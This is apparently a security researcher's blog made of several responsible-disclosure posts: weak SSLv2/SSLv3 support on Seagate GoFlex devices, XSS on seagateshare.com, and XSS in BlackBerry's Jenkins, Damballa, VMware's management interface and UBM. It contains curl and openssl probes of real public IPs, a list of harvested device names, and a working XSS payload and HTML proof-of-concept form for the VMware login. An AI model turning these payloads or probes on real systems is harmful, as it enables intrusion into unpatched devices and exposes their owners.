Seagate GoFlex Home Storage Devices: Main-in-the-Middle (MitM) Attacks and Cross-site Scripting in SaaS Web App !

More than 33000 Devices were found to be Vulnerable. During this research, 17000+ URLs of seagateshare.com with unique device_ids were collected.

In this blog post, we will discuss about the weak encryption support in Seagate GoFlex home-based
storage devices and XSS vulnerability in supporting SaaS based application.

Overview

The FreeAgent® GoFlexTM Home network storage system lets you use one external drive for all
the computers in your home. With enough capacity to support multiple computers and users, you
can easily store all of your files in one centralized location, while automatically and continuously
backing up the files and folders on every computer in your home. For more details about, Seagate
has GoFlex home-base storage system, refer the links below:

• http://www.seagate.com/support/external-hard-drives/network-storage/goflex-home
• http://support.goflexhome.hipserv.com/en/security/

Working

It has been noticed that Seagate provides SaaS based web service at: https://www.seagateshare.com/
that allows remote users of the GoFlex home-based device (or service) to upload and store data on
the cloud.  The "seagateshare.com"has an IP address 54.225.93.0 which on reverse DNS pointer
(PTR) lookup points to: “ec2seagate.axentra.com”.  The “ec2seagate.axentra.com” hosts web
server as “Apache/2.2.24 (Amazon) Server at s1.seagateshare.com Port 80”.  

The web portal is shown below:

It has been found that the GoFlex firmware has a built-in HTTP server which requires  port
forwarding to be established via router so that it can be connected to the seagateshare.com.
When a user opens the seagateshare.com and provides the device_id, it syncs with the GoFlex
device and data can be accessed.  Basically, GoFlex home system requires a port forwarding to
be enabled from the router. When the remote users accesses the the HTTP service by opening
the router IP address in the browser, it redirects the browser to the seagateshare.com for
remote access. The service automatically maps the user’s account based on the router’s
IP address and additional variants.

An example is shown below:

$ curl -v https://89.103.61.141/ --insecure *   Trying 89.103.61.141... * TCP_NODELAY set * Connected to 89.103.61.141 (89.103.61.141) port 443 (#0) * TLS 1.0 connection using TLS_DHE_RSA_WITH_AES_256_CBC_SHA * Server certificate: localdomain > GET / HTTP/1.1 > Host: 89.103.61.141 > User-Agent: curl/7.51.0 > Accept: */* > * HTTP 1.0, assume close after body < HTTP/1.0 302 Found < Date: Sat, 07 Oct 2017 02:49:35 GMT < Server: Apache/2.2.3 (Red Hat) < X-Powered-By: PHP/5.1.6 < X-PHP-PID: 6399 < Set-Cookie: HOMEBASEID=1fbb991a210c5b7a3f130cf1b3d2215d; expires=Sunday, 08-Oct-17 02:49:35 GMT; path=/ < Expires: Sat, 07 Oct 2017 05:49:35 GMT < Cache-Control: public, max-age=10800 < Last-Modified: Fri, 30 Sep 2011 21:03:07 GMT < Set-Cookie: HOMEBASEID=1fbb991a210c5b7a3f130cf1b3d2215d; expires=Tue, 19-Jan-2038 03:14:07 GMT; path=/ < Content-Language: en-US < Window-target: _top < Location: https://www.seagateshare.com/?hipname=pimpi2 < X-Axentra-Version: 10.2.0 < Content-Length: 0 < Connection: close < Content-Type: text/html; charset=UTF-8

The "https://89.103.61.141/" IP runs the HTTPS service and when connection is initiated,
it redirects to seagateshare.com as shown above. The "https://89.103.61.141/" server
accepts SSLv2/SSLv3.

Vulnerability 1: Weak Encryption Protocol Support: SSLv2 /SSLv3

It has been discovered that embedded server still supports SSLv2 / SSLv3 whereas the
seagateshare.com supports SSLv3. Both these SSL versions have been deprecated as these
are prone to man-in-the-middle attacks. A complete workflow example is shown below:

$ curl -v https://81.107.113.155  --insecure * Rebuilt URL to: https://81.107.113.155/ *   Trying 81.107.113.155... * TCP_NODELAY set * Connected to 81.107.113.155 (81.107.113.155) port 443 (#0) * WARNING: disabling hostname validation also disables SNI. * TLS 1.0 connection using TLS_DHE_RSA_WITH_AES_256_CBC_SHA * Server certificate: localdomain > GET / HTTP/1.1 > Host: 81.107.113.155 > User-Agent: curl/7.54.0 > Accept: */* > * HTTP 1.0, assume close after body < HTTP/1.0 302 Found < Date: Mon, 08 Jan 2018 19:02:23 GMT < Server: Apache/2.2.3 (Red Hat) < X-Powered-By: PHP/5.1.6 < X-PHP-PID: 1541 < Set-Cookie: HOMEBASEID=472aad2b9377d2ee3fae12b78262bf51; expires=Tuesday, 09-Jan-18 19:02:23 GMT; path=/ < Expires: Mon, 08 Jan 2018 22:02:23 GMT < Cache-Control: public, max-age=10800 < Last-Modified: Fri, 30 Sep 2011 21:03:07 GMT < Set-Cookie: HOMEBASEID=472aad2b9377d2ee3fae12b78262bf51; expires=Tue, 19-Jan-2038 03:14:07 GMT; path=/ < Content-Language: en-US < Window-target: _top < Location: https://www.seagateshare.com/?hipname=earth1961 < X-Axentra-Version: 10.2.0 < Content-Length: 0 < Connection: close < Content-Type: text/html; charset=UTF-8 $ openssl s_client -connect seagateshare.com:443 -ssl3 CONNECTED(00000003) --- No client certificate CA names sent --- SSL handshake has read 3352 bytes and written 308 bytes --- New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session:    Protocol  : SSLv3    Cipher    : DHE-RSA-AES256-SHA    Session-ID: 726202AD9F5B5658518B30567129E66B4DC98B54BEAEA009A29E673058584CFC    Session-ID-ctx:    Master-Key: 16419B269EC97CE6A1D2062087C996FC46FD5BB4C3C93126D8263913782BBFF8 C1112EFB41B1F066F2D8F26AB3EEEEE5    Key-Arg   : None    Start Time: 1515437896    Timeout   : 7200 (sec)    Verify return code: 0 (ok) $ openssl s_client -connect 81.107.113.155:443 -ssl2 CONNECTED(00000003) Ciphers common between both SSL endpoints: RC4-MD5         EXP-RC4-MD5     RC2-CBC-MD5     EXP-RC2-CBC-MD5 DES-CBC-MD5     DES-CBC3-MD5 --- SSL handshake has read 832 bytes and written 236 bytes --- New, SSLv2, Cipher is DES-CBC3-MD5 Server public key is 1024 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE SSL-Session:    Protocol  : SSLv2    Cipher    : DES-CBC3-MD5    Session-ID: 0149D7AE92D54EDD24E5F2DBDE5B4DE2    Session-ID-ctx:    Master-Key: 4B3916B4CC9F7556FFAC3E4F61C2D20D65C2C77AF37577EF    Key-Arg   : 43E615F0819EF446    Start Time: 1515438170    Timeout   : 300 (sec)    Verify return code: 18 (self signed certificate)

Vulnerability 2: Cross-site Scripting in SaaS Web App : Seagateshare

The web-based portal is vulnerable to Cross-site Scripting (XSS) attack by exploiting a
content-injection vulnerability. The issue persists due to inability of the web app to perform
input validation for the arbitrary values passed to the specific HTTP parameters. This results
in execution of XSS payloads that could be exploited to perform multiple variations of web attacks
such as cookie stealing, etc. A successful Proof-of-Concept (PoC) of the issue is presented below:

Statistical Vulnerability Data

It has been discovered that embedded server still supports SSLv2 / SSLv3 whereas the
seagateshare.com supports SSLv3. We have looked into 50,000+ devices that are running on
unique IPs that have SSLv2/ SSLv3 enabled. Additionally, during standard tests, we have
collected 17000+ URLs of seagateshare.com with unique device_ids.

A few examples are shown below:

Location: https://www.seagateshare.com/?hipname=zrrocket Location: https://www.seagateshare.com/?hipname=zseagate Location: https://www.seagateshare.com/?hipname=zurcruz Location: https://www.seagateshare.com/?hipname=zurd2071 Location: https://www.seagateshare.com/?hipname=zx-goflex Location: https://www.seagateshare.com/?hipname=zxcvdrive Location: https://www.seagateshare.com/?hipname=zxseagatedrive Location: https://www.seagateshare.com/?hipname=zygmanbackup Location: https://www.seagateshare.com/?hipname=zyybakcup Location: https://www.seagateshare.com/?hipname=zzstore …………………. ………………….

Responsible Disclosure

As a part of the responsible disclosure process, both vulnerabilities were reported to the Seagate security
team with the following response.

• Vulnerability 1: Thank you for your communication and responsible disclosure on vulnerability details in SeagateShare Portal.  We have carefully evaluated the matter
  and do not presently have plans for active remediation measures. Thank you for your
  time and help in bringing this vulnerability to our attention. We really appreciate your
  efforts and would like to encourage you in sharing any new vulnerabilities that are
  related to our products and or services.
• Vulnerability 2: XSS issue has been fixed and deployed.

Reported Jenkins Vulnerability Patched by BlackBerry !

A couple of months ago, I discussed about the existence of configuration flaws in deployment of  Jenkins software management application. The details are presented here: Jenkins Configuration Issues. Based on the same benchmark, I reported a few vulnerabilities to BlackBerry in its infrastructure. Recently, I found that they added my name to the responsible disclosure list here: BlackBerry Responsible Disclosure List!.which is fine as long as the team eradicates the vulnerability.

Nowadays, I do not perform aggressive vulnerability hunting (due to my ongoing job) but, when I have time, I dissect components of widely used software and try to find flaws in them. I am more interested in the cases where companies understand the problem and ready to patch it. I am not at all inclined towards finding generic issues in websites which nobody cares about. I always believe that it is important to understand the cons associated with that existing vulnerability when it is reported. It is also crucial to determine how the attacker can chain together a set of bugs to have greater impact. If we don't understand the nitty-gritty details of the vulnerability, there is high chances that the vulnerability will resurface again. 

In this case of BlackBerry, unnecessary exposure of Jenkins component in production environment could resulted in  problematic scenarios. Exposed components of Jenkins were vulnerable to  flaws such as Injections, XSS, etc. So, the belief is: "Expose Less and Be Secure !"

Note: I am going to reveal Frame Injection vulnerability to Jenkins team so that the issue can be patched. No details for now.

Enjoy !

Responsible Disclosure : XSS in Damballa Reported and Patched !

Last weekend, I was reading some research papers available at Damballa website which are awesome without any doubt. I was surfing the website and to surprise, I found an XSS vulnerability in the website. Since, the Damballa provides anti malware solutions, XSS can be used for malicious purposes. Under responsible disclosure constraints, I contacted David Holmes of Damballa and revealed the issue. What makes a responsible disclosure interesting is the prompt reply from the vendor who is willing to patch the vulnerability without any complexities. The same happened with Damballa. They patched the bug right away. In addition, I had a good discussions with David Holmes why the issue persisted in the website.

I expect that every vendor should be prompt enough to patch the issue.

Proof-of-Concept (PoC):

Be responsible in disclosing bugs.

VMware Management Interface - A Little Story of XSS

As a part of my open research, I came across an XSS vulnerability in VMware management interface which is used by VMware ESX and GSX server. I thought it might be a new issue but interestingly a number of XSS issues have already been reported to VMware security team. The list can be found here: http://www.cvedetails.com/vulnerability-list/vendor_id-252/opxss-1/Vmware.html

On the other note, a number of VMware management interfaces exposed on the Internet are still vulnerable. Of-course, the administrators have not deployed patches or upgraded the required software. I din't get enough details on the XSS issue (may be I missed it). So, I thought to talk about the issue in detail here. I am not going to list which versions are affected, you can get that information in the advisories. I will talk about the issue. The management interface look like as presented below:

VMware Management Interface

The username and password field are provided with ids as "l" and "m" respectively. Interestingly, the vulnerable interfaces use client side encoding to obfuscate the input values entered by the user. But, this can be taken care while using proxy, the value can be directly passed without encoding (alter the HTTP request and POST parameters in the proxy such as BURP, Charles, etc). For example:- if you specify the parameters as follows:

l="/>"/>"/><script>alert(document.cookie);</script>
m=test

it gets encoded as follows:

l = Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==
m = dGVzdA==

Well, its not a complex encoding but only a Base 64 encoding. Even if, one uses the proxy to pass the values without encoding, due to client side work, the XSS payload fails to render in the webpage. The output looks like as follows:


<html><head><title>Login: VMware Management Interface</title><script> var user="Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>


It reflects back our XSS payload but in Base 64 encoded format which is rendered as useless data. The vulnerability persisted in the handling of these parameters on the server side. If you check, the same payload is reflected back without any additional modification. Actually, the server does not perform any encoding or input validation. Its all client side. The idea is to simply render this payload without encoding. All the POST requests are handled by the /sx-login/index.pl. Let's see:

(Request-Line) POST /sx-login/index.pl HTTP/1.1
Host:

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://82.133.251.1/vmware/en/login.html
Cookie: vmware.mui.test=1; vmware.mui.test=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95


The simple proof of concept (PoC) that directly sends request to the /sx/login/index.pl is shown below which queries directly without any encoding and made the XSS work.


<html>
<body>

<form name="k" id="k" method="post" action="https://example.com/sx-login/index.pl" target="data">
<input name="l" type="text" value='"--></style></script><script>alert(document.location);</script>"'/>
<input name="m" type="password" value="test"/>
<input type="submit" value="Submit">
</form>

</body>
</html>

Once this form is successfully submitted, it results in XSS as shown below:


<html><head><title>Login: VMware Management Interface</title><script>
var user=""--></style></script><script>alert(document.location);</script>"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

Successful XSS Injection

On patched  systems, the web server replied back as follows:

<html><head><title>Login: VMware Management Interface</title><script>

var user="\"--\u003E\u003C/style\u003E\u003C/script\u003E\u003Cscript\u003Ealert(document.location);\u003C/script\u003E\"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

The patched versions are now using server side unicode encoding to subvert the XSS payload.

Enjoy!

Responsible Disclosure : XSS in UBM

Last year, I reported an XSS issue in the ubminformation.com which was used by UBM organization. I revealed the details to Trey Ford, and the result is as expected. The issue has been patched :). The domain is no longer valid as it redirects all the traffic to the primary website ubm.com.

This issue was result of an outcome of open research. The good point is that, the vulnerability got noticed and patched.

XSS - 1 

and ...

XSS - 2